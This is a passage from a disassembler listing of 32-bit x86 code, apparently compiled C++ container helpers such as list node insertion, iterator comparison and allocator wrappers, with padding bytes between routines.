		pop	esi
		retn
sub_415A30	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A60	proc near		; CODE XREF: sub_401339j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401456
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415A60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A90	proc near		; CODE XREF: sub_40113Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_40175D
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415A90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415AD0	proc near		; CODE XREF: sub_4016D6j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_40175D
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415AD0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415B00	proc near		; CODE XREF: sub_40217Bj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C62
		mov	edi, eax
		push	edi
		call	sub_401104
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401ED8
sub_415B00	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401104
		push	edi
		mov	[eax], ebx
		call	sub_401104
		mov	edi, [eax]
		push	edi
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_4020A9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401F19
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4021B7
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401DBB
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415BA0	proc near		; CODE XREF: sub_401735j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
		call	sub_401CBC
		test	al, al
		jz	short loc_415BED
		push	edi
		mov	edi, [esp+8+arg_0]


loc_415BBA:				; CODE XREF: sub_415BA0+4Aj
		lea	ecx, [esp+8+arg_4]
		call	sub_401A5F
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_40217B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8+arg_4]
		call	sub_40210D
		lea	edx, [esp+8+arg_8]
		lea	ecx, [esp+8+arg_4]
		push	edx
		call	sub_401CBC
		test	al, al
		jnz	short loc_415BBA
		pop	edi


loc_415BED:				; CODE XREF: sub_415BA0+13j
		pop	esi
		retn	0Ch
sub_415BA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415C20	proc near		; CODE XREF: sub_401FCDj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401578
		mov	ecx, eax
		call	sub_401C62
		mov	esi, eax
		push	esi
		call	sub_4020A9
		push	esi
		mov	ebx, eax
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_4020A9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401104
		push	esi
		mov	ebx, eax
		call	sub_4020A9
		mov	eax, [eax]
		push	eax
		call	sub_401104
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401F19
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401500
		push	esi
		mov	ecx, edi
		call	sub_401CE9
sub_415C20	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415CE0	proc near		; CODE XREF: sub_40146Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D70
		test	al, al
		jz	short loc_415D3A


loc_415CF8:				; CODE XREF: sub_415CE0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401578
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FCD
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D70
		test	al, al
		jnz	short loc_415CF8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415D3A:				; CODE XREF: sub_415CE0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415CE0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415D70	proc near		; CODE XREF: sub_401ED8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4020F4
sub_415D70	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415D85
		mov	edi, esi


loc_415D85:				; CODE XREF: ___:00415D81j
		push	esi
		call	sub_4020A9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415D9A
		mov	edi, esi


loc_415D9A:				; CODE XREF: ___:00415D96j
		push	esi
		call	sub_401104
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415DC0	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401E1A
sub_415DC0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DE0	proc near		; CODE XREF: sub_4020A9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_415DE0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E00	proc near		; CODE XREF: sub_401F19j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_415E00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E20	proc near		; CODE XREF: sub_401ED3j
		mov	eax, ecx
		retn
sub_415E20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E40	proc near		; CODE XREF: sub_401DBBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40175D
		mov	eax, esi
		pop	esi
		retn	4
sub_415E40	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E70	proc near		; CODE XREF: sub_401578j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4020C2
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_415E70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415EA0	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_415EA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415ED0	proc near		; CODE XREF: sub_401AAAj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401F8C
		mov	edi, eax
		push	edi
		call	sub_401163
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401C8F
sub_415ED0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401163
		push	edi
		mov	[eax], ebx
		call	sub_401163
		mov	edi, [eax]
		push	edi
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_402144
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4015F0
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401CDA
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415F70	proc near		; CODE XREF: sub_4017E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4010DC
		mov	ecx, eax
		call	sub_401F8C
		mov	esi, eax
		push	esi
		call	sub_401249
		push	esi
		mov	ebx, eax
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401163
		push	esi
		mov	ebx, eax
		call	sub_401249
		mov	eax, [eax]
		push	eax
		call	sub_401163
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_402144
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401D61
		push	esi
		mov	ecx, edi
		call	sub_401E33
sub_415F70	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416030	proc near		; CODE XREF: sub_40132Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AEB
		test	al, al
		jz	short loc_41608A


loc_416048:				; CODE XREF: sub_416030+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017E9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AEB
		test	al, al
		jnz	short loc_416048
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41608A:				; CODE XREF: sub_416030+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416030	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4160C0	proc near		; CODE XREF: sub_401C8Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4015AF
sub_4160C0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4160D5
		mov	edi, esi


loc_4160D5:				; CODE XREF: ___:004160D1j
		push	esi
		call	sub_401249
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_4160EA
		mov	edi, esi


loc_4160EA:				; CODE XREF: ___:004160E6j
		push	esi
		call	sub_401163
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416110	proc near		; CODE XREF: sub_401E33j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4010D7
sub_416110	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416130	proc near		; CODE XREF: sub_401249j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416130	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416150	proc near		; CODE XREF: sub_402144j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416150	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416170	proc near		; CODE XREF: sub_401E97j
		mov	eax, ecx
		retn
sub_416170	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416190	proc near		; CODE XREF: sub_401CDAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401357
		mov	eax, esi
		pop	esi
		retn	4
sub_416190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4161C0	proc near		; CODE XREF: sub_4010DCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4018C5
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4161C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4161F0	proc near		; CODE XREF: sub_401EC4j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4161F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416220	proc near		; CODE XREF: sub_401D11j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4012CB
		mov	edi, eax
		push	edi
		call	sub_4017DF
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401DB6
sub_416220	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4017DF
		push	edi
		mov	[eax], ebx
		call	sub_4017DF
		mov	edi, [eax]
		push	edi
		call	sub_4017DF
		mov	ecx, [eax]
		push	ecx
		call	sub_401BCC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4017E4
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E15
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D7A
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4162C0	proc near		; CODE XREF: sub_401078j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401EBF
		mov	ecx, eax
		call	sub_4012CB
		mov	esi, eax
		push	esi
		call	sub_401BCC
		push	esi
		mov	ebx, eax
		call	sub_4017DF
		mov	ecx, [eax]
		push	ecx
		call	sub_401BCC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4017DF
		push	esi
		mov	ebx, eax
		call	sub_401BCC
		mov	eax, [eax]
		push	eax
		call	sub_4017DF
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4017E4
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401401
		push	esi
		mov	ecx, edi
		call	sub_401F14
sub_4162C0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416380	proc near		; CODE XREF: sub_40140Bj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jz	short loc_4163DA


loc_416398:				; CODE XREF: sub_416380+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401EBF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jnz	short loc_416398
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4163DA:				; CODE XREF: sub_416380+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416380	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416410	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401EBA
sub_416410	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_416425
		mov	edi, esi


loc_416425:				; CODE XREF: ___:00416421j
		push	esi
		call	sub_401BCC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_41643A
		mov	edi, esi


loc_41643A:				; CODE XREF: ___:00416436j
		push	esi
		call	sub_4017DF
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416460	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401866
sub_416460	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416480	proc near		; CODE XREF: sub_401BCCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416480	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164A0	proc near		; CODE XREF: sub_4017E4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4164A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164C0	proc near		; CODE XREF: sub_401E42j
		mov	eax, ecx
		retn
sub_4164C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164E0	proc near		; CODE XREF: sub_401D7Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401618
		mov	eax, esi
		pop	esi
		retn	4
sub_4164E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416510	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40118B
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_416510	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416540	proc near		; CODE XREF: sub_401456j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_416540	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416570	proc near		; CODE XREF: sub_401104j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_416570	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416590	proc near		; CODE XREF: sub_4020F4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416590	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4165C0	proc near		; CODE XREF: sub_401E1Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4165C0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165E0	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40125D
		add	esp, 8
		retn	8
sub_4165E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416610	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_6
		pop	ecx
		retn	4
sub_416610	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416630	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_416630	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416650	proc near		; CODE XREF: sub_401A5Fj
		mov	eax, [ecx]
		push	eax
		call	sub_401F19
		add	esp, 4
		retn
sub_416650	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416670	proc near		; CODE XREF: sub_40210Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_416670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166A0	proc near		; CODE XREF: sub_401CBCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E74
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4166A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166D0	proc near		; CODE XREF: sub_401C62j
		mov	eax, [ecx]
		retn
sub_4166D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166F0	proc near		; CODE XREF: sub_401163j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4166F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416710	proc near		; CODE XREF: sub_4015AFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416710	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416740	proc near		; CODE XREF: sub_4010D7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416740	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416760	proc near		; CODE XREF: sub_4015F0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40205E
		add	esp, 8
		retn	8
sub_416760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416790	proc near		; CODE XREF: sub_401D61j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_5
		pop	ecx
		retn	4
sub_416790	endp

